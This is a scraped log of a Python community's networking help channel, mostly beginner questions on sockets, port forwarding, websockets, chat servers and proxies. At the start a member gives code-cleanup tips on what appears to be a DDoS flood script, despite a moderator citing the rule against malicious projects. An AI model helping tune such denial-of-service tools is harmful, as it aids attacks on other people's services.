The rules and guidelines that apply to this community can be found on our rules page. We expect all members of the community to have read and understood these.

ember ledge
#

!rule 5

errant bayBOT
#

5. Do not provide or request help on projects that may break laws, breach terms of services, or are malicious or inappropriate.

grand finch
#

oh

#

ffs

prisma cobalt
# grand finch ```py import socket, random, threading, sys, time try: target = input(">> E...

theres a few odd things here, first you can change this:

try:
    target = input(">> Enter IP: ")
    threads = int(65000)
    timer = float(1000)
except IndexError:
    print('\n>> Command usage: python ' + str.argv[0] + ' <target> <threads> <time> !')
    sys.exit()

to this:

target = input(">> Enter IP: ")
threads = 65000
timer = 1000

since a) this will never error, b) you dont need to specify variables like that

prisma cobalt
#

also starting 65000 threads like that is a bad idea

lunar veldt
#

Hi, how can i keep receiving data from websockets?

#

I need an event that gets triggered when data is received

#

@prisma cobalt dude why are you helping with stuff against the rules

narrow oak
prisma cobalt
#

also my second help point was simple maths lol

lunar veldt
#

its still helping him with his malicious project

prisma cobalt
#

ehh sure

misty mantle
#

Hello

#

I needed help to port forward

#

How do I do it

#

Cause when port forward just like i've seen

#

Its still stays closed

prisma cobalt
#

i have a pin in this channel on exactly that

misty mantle
prisma cobalt
#

no worries, do you know how to find the pins?

misty mantle
#

Just new to the server

#

Hello I know this has nothing to do with Python but I need help with port forwarding(The port stays closed for some reason even I make a new rule on my router)

prisma cobalt
#

Did the pins not help?

ember ledge
glossy moat
ember ledge
#

(The port stays closed for some reason even I make a new rule on my router)
It seems to be an issue on the router though?

prisma cobalt
#

yeah its a router thing, definitely shouldn't be an ISP thing

umbral goblet
#

hi, i don't know which part of this server is good for my question, but i need to write a bot which check is by entering for some subpage it will redirect for another

#

i have no idea how to do that

low portal
#

Me and my friend are working on a messaging app. We currently store the data with SQL but are having trouble with designing the network architecture. Storing all the data works, but one issue of many we have is how a client will know when they get a new message? Obviously just querying the SQL server every second is too inefficient, so whats the best way to do this? We are having trouble with deciding/switching between threading, async, and select from the networking part of the code.

#

were not super familiar with networking stuff

young cypress
#

Sounds like a good case for pub/sub architecture

#

AFAIK iOS Push Notification APIs are basically HTTP POSTs, for example if you are talking about a client's phone receiving a new message

low portal
#

can you explain how we would implement that a little more. I'm not familiar with what your talking about

young cypress
#

So, you're storing some message data in a relational database. At that same time you want to let other clients know the message has been received. This implies a possible implementation using HTTP POST. here's a good pic of that for Apple Push Notifications

#

If you have Many services that require a similar architecture, (Apple Push Notification is a single service,) then pubsub is where I'd look next

#

which basically mutates the "notification"

#

you Publish a notification, and all services which are Subscribed will receive the notification

#

(mulitplexor thingy)

#

In that diagram "Pub/Sub Server" is something like Apache Kafka or Redis, or custom etc

rain ridge
#

Hello, i am new to networking and API topics. I am trying to connect to the FTX exchange api or any similar exchange. Can anyone help?

#
import time
import hmac
from requests import Request

ts = int(time.time() * 1000)
request = Request('GET', '<endpoint>')
prepared = request.prepare()
signature_payload = f'{ts}{prepared.method}{prepared.path_url}'.encode()
signature = hmac.new('SECRET_KEY'.encode(), signature_payload, 'sha256').hexdigest()

request.headers['FTX-KEY'] = 'KEY'
request.headers['FTX-SIGN'] = signature
request.headers['FTX-TS'] = str(ts)
#

i dont know how to write the endpoint, if it is with the https or not. Here is the documentation'

young cypress
#

Your base URL is here:

#

and the path for an endpoint is here:

#

So <endpoint> could be https://ftx.com/api/subaccounts/bwackwat/balances

tulip skiff
#

is their any different socket module for deep web

#

?

young cypress
#

lol tcp reveals

#

maybe there is a different socket library which tries to be more secure, but afaik it's TCp

teal gulch
#

anyone has any good resources where i can learn python for anything network automation? Do hit me up in DM

prisma cobalt
ember ledge
#

how can i log a network cache with python requests?

neon slate
#

Hey! I'm working in an API for manage an OLT (Optical Line Terminal) for my company.
It uses telnet protocol to send/receive commands and data. Could someone give a feedback about
my code, Django Rest structure and telnet classes that i'm using?
https://github.com/giacomoquinalia/olt-management
Thanks!

GitHub

Django API to manage an OLT (Optical Line Terminal) - giacomoquinalia/olt-management

jovial idol
#

Good day manager, I am Mary Ann valeรฑa,Looking for Scholarship.I can grind 150-200slp per day.
this wold be such a blessing for my family,i dont have work now. and i am a soloparent of 2kids.thank you and gobless po

magic phoenix
spiral yarrow
#

Hey I'm trying to set up a secure websocket server
however whenever I try and secure it i get errors [it works if I don't have SSL enabled, assuming i change wss to ws in the worker]
atm the client says ssl.SSLError: [SSL] called a function you should not call (_ssl.c:1129)
Heres the code:
Server: ```py
import websockets, asyncio, ssl
async def hello(websocket, path):
name = await websocket.recv()
print(f"< {name}")
greeting = f"Hello {name}!"
await websocket.send(greeting)
print(f"> {greeting}")
ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
ssl_context.load_cert_chain('origin.pem', 'private.pem')
start_server = websockets.serve(hello, "0.0.0.0", 87, ssl = ssl_context)
asyncio.get_event_loop().run_until_complete(start_server)
asyncio.get_event_loop().run_forever()

Client: ```py
import asyncio
import pathlib
import ssl
import websockets
ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
ssl_context.load_cert_chain('origin.pem', 'private.pem')
async def hello():
    uri = "wss://socket.ganer.xyz/gsdgsdfg"
    async with websockets.connect(uri, ssl = ssl_context) as websocket:
        name = input("What's your name? ")
        await websocket.send(name)
        print(f"> {name}")
        greeting = await websocket.recv()
        print(f"< {greeting}")
asyncio.get_event_loop().run_until_complete(hello())```

heres the cloudflare worker: https://ganer.xyz/s/yQKyhz

heres the certs [these work for my main website] https://ganer.xyz/s/iqmjim
ember ledge
#

Anyone wanna help make a python3 Chatroom?

rapid violet
#

How to use python import?
I saw "import sys" while writing the program
What does it mean?'

cedar hull
#

hi guys !

molten zinc
#

Nobody was able to help me in help channels...

glossy moat
ember ledge
#

No chance you guys know a thing or two about requests aye?

molten zinc
molten zinc
#

Yes

#

All I dont know is how to download the .json like this

glossy moat
#

is this a configuration file which needed by framework that you are using?

#

I think you can fill the fields by the value you can get from Credentials Page like this said

glad totem
#

besides, google has been nice enough to create some modules that do that for you

molten zinc
#

Thanks @glad totem

#

@glossy moat yes that's it

ember ledge
#

https://paste.pythondiscord.com/iyarikegam.py - server.py
https://paste.pythondiscord.com/aqekuwitot.rb - client.py
I created a chat of an unlimited number of people using threads and sockets.
In server.py I created 2 lists the first one contains the names the customers chose for themselves and the second one contains the customer details like port and the rest.
Later, I created several functions, the first of which is called broadcast receives a message and sends it in a chat with the name of the person who sent it.
The second one named CaesarEncrypt encrypts the message (it is unrelated).
The third named HandleClient requests a message from the client and sends it to broadcast, if the message is not received it deletes the client's details from the 2 lists and closes the client.
The fourth named recive receives the client for the first time and adds its details to the lists and of course prints a message that a new client has connected to the server.
In client.py I did all the construction of the chat using Tkinter and it works fine as usual.
Now what I want to do is create a chat manager that will work like everyone else on the server but when he enters the command /admin 5270 for example then it will buy him manager capabilities and he will be able to take people out when he writes /kick and the client name next and it will close that chat And will be registered in the chat "The client (name) has been removed from the server".

prisma cobalt
ember ledge
#

thank u so much!

fallen kraken
#

HI
Currently I use Avast VPN to route all my trafic inside the VPN
I would like to disable Avast
I am looking for to encapsulated just my app HTTP requests into Free VPN as hidemyass or other
Do you have advice about python libary and provider to implement easily this feature
It is for very small need
thx

gloomy root
#

my advise is dont use a free vpn

#

if you're just wanting to send http requests without having the ip be exposed to a given server, buy a proxy

#

and just use the proxy support most python HTTP libs give

fallen kraken
gloomy root
#

Simpler to just buy a small proxy some provider gives

#

Free Proxies are any of the following:

  • Stolen Servers
  • Dodgy servers
  • Data scrapers
  • Dont support HTTPS
  • Very slow / Un-reliable
fallen kraken
#

you're right

#

But by curiosity, I will continue to looking for in VPN direction ๐Ÿ˜‰

main wharf
#

Is there any library supports doesn't needing socket recv and send waiting and using them without stopping the code block

#

I mean I tried UDP but the thing I want is I don't want to wait recv message I want to use top-level socket just like this:

import blablabla as c
c.server(host)
c.connect()
while True:
    player_data = c.get("player_data)
    c.send("test")
c.close()

and anytime send message(not in socket connection code block)

vital crest
#

What does DHCP cycling mean? If your IP changes, for sure. If not, maybe. What are you really trying to do?

main wharf
rapid violet
#

May I ask why it is wrong.
How to modify?

#

Everyone, save me, I still couldnโ€™t do it for a long time yesterday.

#

There is no information when I check it online.

glossy moat
#

import re means import Python builtin regex module.

woeful willow
#

anyone here who worked with traffic generators?

torn sigil
#

Is it possible to have an API that gets data through a POST request and also is a websocket / socket server that can send the data in the POST request to the clients connected

rotund wigeon
#

Hi, I am trying to read all of the data from a socket, my code:

    sock.setblocking(False)
    data_left = True
    while data_left:
        data = sock.recv(MAX_PACK_SIZE)
        if data:
            print(data)
        else:
            data_left = False

But for some reason I get this error:

BlockingIOError: [WinError 10035] A non-blocking socket operation could not be completed immediately

How can I do it without getting this error?

verbal sparrow
#

Hey there everyone!

I want to try and make a event based socket chat app, For example,

If I'm making a server, I would have a base class, inherit from it, and do following

class Server(BaseServer):
  def on_run():
    ...  # This gets run when server is starting to run

  def on_start():
    ... # This gets run when it's connected and the things when server starting to run is completed.

I'm not sure How can I implement such events, Any tutorial links, or help regarding this is appreciated. I'm trying to make a Secure and Intuitive chat app. Do help, Thank you.

#

I want to have event dispatch and Collect system basically, If possible, I would rather have such structure too

server = Server()

@server.event
def on_run():
  ...
narrow oak
# verbal sparrow Hey there everyone! I want to try and make a event based socket chat app, For e...

Your baseserver should handle all the logic. Most likely keep a thread which constantly keeps listening for data. Then you can store a dictionary inside that class which maps each event to a function, then call that function if there is any, once the event is received. You can use decorators to assign events, for example, or have empty methods which does nothing, but then overriden by the derived classes. About the on_start methods and such, those are things you can manually call before you start receiving.

If you don't want to make this from scratch you can also look into existing pub/sub systems.

narrow oak
blazing elbow
#

Hi in anyone an expert at socket?

#

I am trying to connect to a different computer

#

they are on the same wifi

#

and it says I cannot connect

#

I made sure I put the same port and ip

#

i am just wondering the ip is local host

#

does that matter and or change anything?

tiny panther
#

give the full error

verbal sparrow
trim moth
#

@blazing elbow share code or the error, not so easy to hit or miss telling you what might be going wrong

flat rain
#

{"timestamp":1623485161160,"status":400,"error":"Bad Request","message":"JSON parse error: Unrecognized token 'mobile': was expecting ('true', 'false' or 'null'); nested exception is com.fasterxml.jackson.core.JsonParseException: Unrecognized token 'mobile': was expecting ('true', 'false' or 'null')\n at [Source: (PushbackInputStream); line: 1, column: 8]","path":"/campaign/vouchers/kAxAeMsjtmjCe4aoep/redeem"}

lethal pawn
#

Is there any way to get the data from Network tab under Inspect Element using python script?

blazing elbow
soft nimbus
#

does anyone know a sample IP and port to test some sockets with or some site that can provide me with one

trim moth
prisma cobalt
deft phoenix
#

when it says "blocked", does it mean that it didnt even download the picture or did it download it but didnt display it?

gloomy root
#

browsers wont do anything with a request of another origin if the CORS check did not success

#

alot of this time this involves a pre-flight check

#

so in all likely hood it never even sent the actual request and aborted once the check failed

deft phoenix
#

Ok so it says 0 kb

narrow oak
verbal sparrow
narrow oak
# verbal sparrow Pretty good, I am not too familiar with the event management and the handlers

In your BaseServer you can store the reference to a function in some datatype. What's the most appropriate in this case is probably a dictionary, where the key is the event and the value is the callable. Upon the receivement of an event, lookup the dictionary for the key, value, if there is any then call the value.
What your decorator does is to basically add the event and function to the dictionary.

verbal sparrow
#

Ahh. I'm new to this, so how can I register event and function in dictionary

narrow oak
verbal sparrow
#

Yes.

#

Thank you!

#

And How do I detect when is the server is starting, so I can call on_run and once started, on_startup

#

This is what I'm having doubts with too.

narrow oak
#

How do you start the server, do you have some run() or start() method?

verbal sparrow
#

I really need to organize everything and make a new structure ๐Ÿ˜…

narrow oak
#

In your else statement somewhere (after the exception handling), you can then lookup self._events to and check if the on_startup event is registered, and call the function. You should probably create a function for doing this as you would probably to this many places.

verbal sparrow
#

Yes, I would. I need to re-organize and break functions into smaller parts and make it clean and reusable. Then I'll integrate the events. My idea was basically just like Flask app, but for Chat app instead.

server = Server(__name__, ...)  # Other parameters too.

@server.register  # Or probably a global function, Or a mixin and inherit it in the base model class.
def on_startup():
  ...

server.run((IP, PORT), debug=True)
narrow oak
#

Yeah, that's achievable. I think if you learn how to implement decorators, making this should be a lot easier

verbal sparrow
#

Yup. I basically want to clean up the mess and make it a function based approach to keep it clean.

#

Because having everything in a sequence is hard.

#

Also any chance you know how this can be achieved?

# Like Socket.IO
sock = Server(__name__)

@sock.handler("message")
def handle_message(message, sender, receiver):
    # Handle the message, and send it forth

@sock.handler("motd")
def handle_motd(motd, clients):
    # pass the motd to all clients connected

Like, handler get's a parameter name of what is being sent, It can be anything that user defined

message - default
motd - my own
RSA keys - my own

and also pass in parameters like flask does to help sending, receiving and such?

I have doubt with basically,

1. Default parameter from handler and event
2. How I can distinguish between things like message, MOTD and perform the work needed with them, basically define the callback going to happen

For example, MOTD needs to be sent everywhere
Message too, Warning to the specific client who emitted that
#

Sorry for being annoying, Trying to learn ๐Ÿ˜…

narrow oak
verbal sparrow
narrow oak
# verbal sparrow yeah I get it, so here's the difference, Just like a discord bot has events and ...

yeah, right. So internally you would need to distinguish between an event and handler by keeping two separate structures (dictionaries), which does as I mentioned earlier, maps an event to a list of functions. The process of mapping each event to function can be done through decorators, in which you should read the article I mentioned earlier so you can learn how to implement decorators, and eventually add an event.
You would most likely also have some method _raise_event _raise_handler, or something, which gets the event/handler and then calls all functions (added underscore to declare its not public, just a convention)

verbal sparrow
#

Ahh, yeah.

woeful cypress
#

hi, im learning python right now on codecademy and im almost halfway done. I want to get into making "hacking" tools when im done with python. Would you guys recommend and good courses on networking with python?

pine seal
#

What requirements do I need to know before learning socket programming

trail bronze
# woeful cypress hi, im learning python right now on codecademy and im almost halfway done. I wan...

I've used freecodecamp videos for a lot of my learning (working on C++ rn). Here's a video they made on networking: https://youtu.be/FGdiSJakIS4

Learn network programming in Python by building four projects. You will learn to build a mailing client, a DDOS script, a port scanner, and a TCP Chat Room.

๐ŸŽฅ This course was developed by Neural Nine. Check out their YouTube channel: https://www.youtube.com/c/NeuralNine

โญ๏ธ Course Contents โญ๏ธ
โŒจ๏ธ (00:00) Intro
โŒจ๏ธ (00:37) Mailing Client
โŒจ๏ธ (13:41...

โ–ถ Play video
woeful cypress
#

alright

#

thanks man

pearl rampart
#

guys can someone tell whats penertration testing ?

#

like does it test how strong our firewall is or...?

young cypress
#

penetration testing is a dense subject. a penetration test may try to prove or disprove that a certain security vulnerability exists in a system.

#

Dense IMHO, because of the breadth and depth of possible tests.

#

It's quite difficult to fully test any system

pearl rampart
young cypress
#

It's a good idea

#

But there are going to be many complex feature sets

#

Highly recommend looking into existing tools.

pearl rampart
#

me just beginner

young cypress
#

Also, what kind of model might you use for an AI? Code base?

pearl rampart
#

i didnt start networking

young cypress
pearl rampart
young cypress
#

both pen testing and machine learning are non trivial if beginner

pearl rampart
#

so we use python or linux ?

#

like idk if we can do penetration with python

young cypress
#

Heh. you can

#

Really, this topic is so vast a programming language of any kind is one of many tools you may use

#

Try to focus your interest ๐Ÿ™‚ that will be easier

pearl rampart
young cypress
#

hell yeah

#

please @ me for other questions

#

its an awesome topic

rough nest
#

Not specifically python related but is there a go-to book/guide/resources to learn networking in depth anyone would recommend

sacred wedge
#
"total": 88, "scans": {"CMC Threat Intelligence": {"detected": false, "result": "clean site"}
``` how to fetch details from this kind of json, i wanna fetch result only from scans list. i know how to fetch `total = r['total']` but having trouble fetching scans data.
prisma cobalt
# pearl rampart so we use python or linux ?

Python and Linux aren't the same thing ergo it's not a case of one or the other
Python is a programming language whereas Linux is an operating system
You can use python with Linux

pearl rampart
pearl rampart
serene jay
#

Where would you ask network related questions? I have a problem with RDP and the error message is "data encryption issue" or something similar. Keeps disconnecting me ๐Ÿ˜ 
I'm out of ideas on this one.

ember ledge
#

So where do we use networking

spark summit
digital oracle
#

How to speed my network up through windows setting

tame dagger
#

Hi guys, i'm helping to launch a new proxy server for a company. We have 8 subnets, 250 IPs for each subnet, all attached to our server.

#

Just wondering if there are any CMD or Powershell commands we can use to add a single IP, then I can just use python to automate the rest.

junior knot
#

alr so im having trouble binding to a public ip

prisma cobalt
junior knot
#

ok

#

def Host():
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sck:
sck.connect((str(public_ipv4), 4194))

prisma cobalt
#

like your server script

#

also if your running this yourself you probably need to set up port forwarding

junior knot
#

is that all?

prisma cobalt
#

hang on, your doing str(public_ipv4) indicating its not a string beforehand?

#

what object would it be>?

junior knot
#

lemme check

#

but it returns the ip

#

as a string

#

that may be an error and not nessecary

prisma cobalt
#

can you share your entire script ๐Ÿ˜‚

junior knot
#

yea sure

#

just started

prisma cobalt
#

i dont know if its because you copied it wrong but your missing a matching ' on the end of your URL, this code shouldnt even run lmao

junior knot
#

definitely copied wrong

prisma cobalt
#

try printing the public ip to see if its what you expect

junior knot
#

yes: it returns a string and it returns the proper ip address

prisma cobalt
junior knot
#

this is the server script

red geode
#

someone who use selenium know how to use the webdriver with cookies?
i'm trying to do

options.add_argument("user-data-dir=.../AppData/Roaming/Opera Software/Opera Stable")

to use my opera webdriver with my cookies, this open the browser but the driver.get dont works, when i remove the add_argument the driver.get back to normal

prisma cobalt
ember ledge
#

is there something i need to learn before networking or what

#

im not sure where im suppose to even use networking and how im suppose to use it for cyber sec

#

all it really looks like is just a internet connection

storm saffron
#

Well it's how anything that connects to anything else works

#

Like if you want to attack an app which downloads information from a website, or you want to look at iot devices communicating

fluid fog
#

Hello Everybody !!!
I'm so happy, because TODAY, FINALLY i fixed UrsinaNetworking ! https://github.com/kstzl/UrsinaNetworking
And you can now download it with pip install ursinanetworking
You can make amazing multiplayers game, chat and more ! Have fun ๐Ÿ˜„

GitHub

A High level api to do networking with the Ursina Engine - kstzl/UrsinaNetworking

verbal sparrow
#

@narrow oak Sorry for the ping, but is it possible instead to do,

class Event:
  def __init__(self, name, func):
    self.name = name
    self.func = func

And use it in some kind of list? I'm really excited to learn Decorators and advanced python stuff and make the flask like event system and work on it

soft nimbus
#

okay quick easy doubt cause I'm new to networking,

If I have two computers A and B on different networks, and if I create client/server sockets, I would need a public IP and a port right? So I can get the public IP of the server socket but how can I get the port at which I wanna send a connection request.

also I'm assuming the IP and port needed would be of the server/listener socket right.

prisma cobalt
soft nimbus
#

I see, thanks! And what if I wanna find a port related to the public IP of the server-socket-computer

soft nimbus
#

I'm assuming ports are predefined for a computer ?

#

like the ports belonging to an IP

#

as in I can't enter any number as the port I wanna connect to

prisma cobalt
#

kinda, the public ip has 2^16-1 ports available (altho we dont use the first 1023) which you can connect to

#

and then each computer on the network with their private ips have there own ports of that range

soft nimbus
#

ohh I see, so I can select any number say - 4200 as my port to connect to and it'll work

prisma cobalt
#

yes if your server script and client script both use that port

#

and if youve port forwarded on the different network

prisma cobalt
#

yeah so if you use the same port it will work

soft nimbus
#

so that's all I need for communication between 2 computers at geographically different locations?

#

no "setting up" anything anywhere? I apologize I'm quite new to the field

prisma cobalt
#

no worries, i had these questions as well lol

prisma cobalt
soft nimbus
#

and port forwarding would only be on the server socket side I assume?

prisma cobalt
#

yes

#

the client doesnt have too because its just connecting to that port

soft nimbus
#

yeah only on the server socket side right?

soft nimbus
#

I'm planning to implement this using winsock, should be possible right?

prisma cobalt
#

winsock?

soft nimbus
#

winsock.h a sockets library used by windows for c/cpp

prisma cobalt
#

ohhh

#

yeah it should

soft nimbus
#

I've already done this client/server tcp connection using localhost and it works so I'm assuming it'll work

prisma cobalt
#

altho ive only used python raw sockets so i cant help with any C/C++ specific questions

prisma cobalt
soft nimbus
#

thank you so much, cleared a lot of my doubts!

prisma cobalt
#

lol no problem

#

๐Ÿ‘ good luck

soft nimbus
#

thanks !

narrow oak
verbal sparrow
narrow oak
verbal sparrow
#

Ah. Thanks! ๐Ÿ˜Š

kind hamlet
#

ok so I basically made a requests script which functions and does not miss any numbers sent to the url, but once I turned it into threads, I print out the number sent every thread, and some repeat and some don't get printed. How do I fix this?

#

slowing the rate down fixes it, but is there any other way to fix it?

narrow oak
kind hamlet
#
start_time_threads = time.time()
for i in range(2):
  t = threading.Thread(target=do_request)
  t.daemon = True
  threads.append(t)

for i in range(10):
  threads[i].start()

for i in range(10):
  threads[i].join()
#

do_request() just sends data to the server

#

and gets the output

#

im 99% sure that all of it functions

narrow oak
#

right now you are only appending 2 thread objects but attempting to start a total of 10 threads, which should raise an IndexError

kind hamlet
#

yh i fixed that

#

should i put the numbers in a list of 10s then check if every number is present if not then sycle thru the missing numbers and if there are duplicates then delete them before I check if there are less then 10 nums in the 10s value

#

bc i dont feel like I should do that

cold geyser
#
for thread in threads:
  thread.start()
``` do it like this instead of using range
rain rivet
#

hi there guys! I'm still on learning phase of python, Can anyone help me understand webscraping and also how to do it? probably in a beginner friendly way?

magic sail
kindred slate
#

might be a dumb q but: I am learning terraform and aws, i am fiddling around making a new vpc, subnets, gateways, security groups for my redshift vpc. I eventually want to access redshift via my terminal, what should i be editing ? the security group ingress/egress?

#
    ingress {
        from_port       = 5439
        to_port         = 5439
        protocol        = "tcp"
        cidr_blocks     = ["0.0.0.0/0"]
    }``` is my only rule at the moment
#

like do i need to add an extra ingress rule to account for me eventually accessing redshift via my terminal?

fringe stag
#

What does redis do?

ember ledge
#

ok so protocols are a set of rules that a device has to follow in order to interact with other users?

errant bayBOT
#

:incoming_envelope: :ok_hand: applied mute to @light zealot until 2021-06-16 07:11 (9 minutes and 59 seconds) (reason: newlines rule: sent 16 consecutive newlines in 10s).

light zealot
#

๐Ÿ‘€

split hornet
#

How to send packet on proxy

rain rivet
ember ledge
#

YouTube

prisma cobalt
light zealot
#

discovered a little trick(||blank message||) so tested it out here ๐Ÿ˜‚

steady sundial
#

I'm writing a routing protocol, Bellman-Ford algorithm, and I'm having trouble setting up a data type router that effectively publishes its distance table to other routers. I wasn't sure where to ask this because it's just a general programming question but for a networking subject.
Could someone help me talk/work through some of the issues I'm having with this assignment?

white star
ember ledge
#

Any good tutorials for P2P ?

white star
young cypress
fleet timber
#

Hello

ember ledge
#

ayo guys is there any way to bypass isp?

fluid fog
ember ledge
#

why pyshark is not working

ember ledge
ember ledge
thin kindle
#

hey poeple

#

is ther a good way to continue learning about netoworking past the basics a school give u?

clear rock
#

make projects

last sparrow
#

Hey guys

#
        nodes = {
            "MAIN": {
                "host": "127.0.0.1",
                "port": 2333,
                "rest_uri": "http://127.0.0.1:2333",
                "password": "youshallnotpass",
                "identifier": "MAIN",
                "region": "europe",
            }
        }``` my code
gloomy root
#

your lavalink node is not available on localhost on port 23333

glad totem
#

How do the firewall proxies in say... schools work?
Those that block certain cites or redirect you to their own page
Like, you connect to the network, try to access a website and what happens then?

gloomy root
#

all requests go to proxy server

#

proxy server chooses what to let through and what to block out

#

In the UK this generally operates on a Local and more district scale

#

so schools have their own proxy server running that does their own filtering

#

then those requests go the county proxy servers which apply the county filters

gleaming bramble
#

need some help with this python project can anyone help me?? this is my criteria The user will be able to monitor the ping of all devices such as printers, routers, switches, firewall, servers, and virtual machines. Every IP address and device name will be stored inside the database at the back end of the website. Every device assigned to an IP address will be pinged continuously to the monitoring system. In situations where a device goes unavailable or offline and the user is not present at their office, the monitoring system will send a notification to the IT technician through the mobile application notifying them about the device which went offline.

Below are the core functions of the system which will be achieved before delivering.
โ€ข Allow IT technician to see the ping of each device.
โ€ข Allow IT technician to add new devices to the monitoring system.
โ€ข Allow IT technician to add, modify and delete devices on the database.
โ€ข Allow IT technician user to access devices remotely.
โ€ข Allow IT technician to be notified via application when a device goes offline.

Message #general

glad totem
gloomy root
#

if url = x do y

#

thats basically what it comes down to

last sparrow
glad totem
knotty wyvern
#

So I have the following task:

I have multiple VMs. Each VM is running a python script that takes constant screenshots of the VM's desktop, and translates it into an image object that OpenCV can use and stores it in memory. I want to send these opencv image objects to a script running on the host machine that is running the VMs to do object detection(using yolov4-tiny, loaded by OpenCV in python) and then send back the results to the appropriate VM/script.

My main concerns before any actual testing:
The data needs to be passed back and forth between client/server as fast as possible as I need to find the detections in "real time".
In a longer term goal, the host script would be listening for data sent from multiple VMs running at the same time so I'm worried about how queueing the object detection might work on the host to make sure the VM scripts get back the data they need in time.

After some quick google searching, it looks like using sockets is the most commonly offered solution. I also saw the idea of using redis for performance gains. I haven't done any networking in python though so I'm looking for whatever suggestions might work best for my use. Thanks ๐Ÿ™‚

cold void
#

any advantage of using a cable over the wireless connection

trim moth
# knotty wyvern So I have the following task: I have multiple VMs. Each VM is running a python ...

umm, yeah, sockets are really fast, and even faster when using localhost than an actual network. you should consider looking into threading since it's really useful when working with sockets. for example, in the client script running on the vm, you can start a thread which just takes a screenshot, converts it to a opencv image object, and sends that data to the host socket, and another thread in the same script which will only receive the detected data from the host vm. that way, you can set up a pipeline of sorts which is basically another way of queuing

dense hemlock
#

Hi everyone , does anyone know how to retrieve worklist from the server using pynetdicom module?

prisma cobalt
cold void
#

yeah, but I bought a 2m cable

#

its geometrically ridiculous because I have to stay close to the door

prisma cobalt
#

then you should have gotten a longer cable ๐Ÿ˜‚

#

what are you using it for?

cold void
#

curiosity

prisma cobalt
#

no i meant what are you plugging into it?

cold void
#

to the router

prisma cobalt
#

from the router to a computer?

cold void
#

yeah

prisma cobalt
#

if i cable isnt feasible then you could try, ethernet through the mains or a tp link adapter or range extender which you can use with ethernet

cold void
#

but bellow the router have a lot of cables and stuff

#

thats what im doing

#

i will buy a longer cable today

#

a ridiculous lenght

prisma cobalt
#

im using "wireless ethernet" to get round the cable length problem

cold void
#

you're using a other computer to get the ethernet

#

is it it?

prisma cobalt
#

i have two boxes, one of them i plug into the router which wireless connects to the other box which ethernets out into my computer

#

i dont have a wifi card so i need a wired connection

#

this solves it

cold void
#

whats the point

#

i dont get it, if is not schematic

#

yes, why

#

are you there?

#

i get it know

#

that's what I did

prisma cobalt
#

yeah so that connects to my router wirelessly but allows for a wired connection at better speeds

cold void
#

and what about the cable system below my router

#

i can connect and disconnect and somehow things changes?

#

all people internet came from one cable

ember ledge
#

any idea why that is happening?

narrow oak
ember ledge
dusty trench
#

anyone know anything about docker?

cold void
ember ledge
#

Where can i get started on sockets and gateways

#

Mainly the workings behind them

young thicket
hazy forge
#

[WinError 10060] A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond

#

Trying to make a connection between my VM & local machine.

#

Recieving this error though.

prisma jungle
#
import socket, threading

bind_ip = "0.0.0.0"
bind_port = 9999

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

server.bind((bind_ip, bind_port))

server.listen(5)
print(f"[*] Listening on {bind_ip}: {bind_port}")

def handle_client(client_socket):
    
    response = client_socket.recv(1024)
    print(f"[*] Recieved: {response}")

    client_socket.send("ACK!")
    client_socket.close()

while True:
    client, addr = server.accept()
    print(f"[*] Accepted connection from: {addr[0]}: {addr[1]}")
    client_handler = threading.Thread(target=handle_client, args=(client,))
    client_handler.start()
#

i have this code, the server keeps listening but no output

#

i know its a client connection problem

#

how do i overcome this?

upbeat sun
#

does anyone know how to use concurrent.futures

prisma jungle
#

nope

hazy forge
prisma jungle
#

or the connection timed out

hazy forge
prisma cobalt
#

hello @prisma jungle im back

deft phoenix
#

#cryptography

#

Shit

zinc pecan
#

I'm trying to use socket to make a chat app sort of thing. I have the code recv = recvfrom(1024). The value recv[0] is always what it should be, the data that was sent in binary. But recv[1], which should be a tuple with the IP and port of the client that sent the data, is instead (0, b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'). I don't know if it's because I'm connecting to the socket on the same PC the server's on, but I don't know how to fix this. The messed up port is breaking my program. I've searched all over Google, but to no avail.

gilded pewter
#

This line of code is giving me a error saying the type is not subscriptable

conn.send(bytes[1])
young cypress
#

bytes is a function in python; recommendation is rename your variable ๐Ÿ™‚

ember ledge
#

i want to send commands over to my raspberry pi 4 in which i have a discord bot such as restarting it or editing the code or idk from my main pc, whats the best way to approach this?

#

im almost a complete newbie to networking

prisma jungle
prisma cobalt
torn arrow
#

Guys Is there way to keep my socket chat servet alive?

torn arrow
# prisma jungle ```py import socket, threading bind_ip = "0.0.0.0" bind_port = 9999 server = s...
import socket, threading

bind_ip = "0.0.0.0"
bind_port = 9999

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

server.bind((bind_ip, bind_port))

server.listen(5)
print(f"[*] Listening on {bind_ip}: {bind_port}")

def handle_client(client_socket):
    
    response = client_socket.recv(1024).decode('UTF-8')
    print(f"[*] Recieved: {response}")

    client_socket.send(bytes('ACK', 'UTF-8'))
    client_socket.close()

while True:
    client, addr = server.accept()
    print(f"[*] Accepted connection from: {addr[0]}: {addr[1]}")
    client_handler = threading.Thread(target=handle_client, args=(client,))
    client_handler.start()โ€Š
prisma cobalt
prisma cobalt
torn arrow
prisma cobalt
#

just stick a while True: in there

torn arrow
#

If i offline?

prisma cobalt
#

you mean if you computer is off?

torn arrow
#

Yes

prisma cobalt
#

you would need a hosting site

#

(someone to host it for you)

#

there are several you can get for free

torn arrow
#

Can give any host site?

prisma cobalt
#

Heroku
AWS (amazon)

trim moth
# torn arrow Can give any host site?

amazon is free until a specific time span (1 year ig) and heroku's free access is just more extensive compared to amazon, they charge you based on the amount of traffic, so until it's limited amount of traffic, it's free

#

after which they both start charging

cold void
#

how it's possible to have so many sites redirected

#

how do I even check my SO integrity

#

before type anything

ember ledge
cold void
#

what that's mean?

#

i get it now

#

its about third parties and not about a specific problem

trim moth
#

I'm just get one a couple of moths ago to do some crazy stuff from hosting socket servers lol

torn arrow
#

How?

trim moth
#

@prisma cobalt we neet u here boi

prisma cobalt
#

oh no ๐Ÿ˜‚ it took over an hour last time to set up the aws account lmao

#

i will tho

prisma cobalt
#

you wont need to pay but you need to enter details

torn arrow
prisma cobalt
#

then AWS isnt for you ๐Ÿฅด

#

~~glad i asked beforehand instead of going through the setup process to encounter that @trim moth ~~ lmao

trim moth
#

saved a lot of time

prisma cobalt
#

yeah lmao

daring elm
#

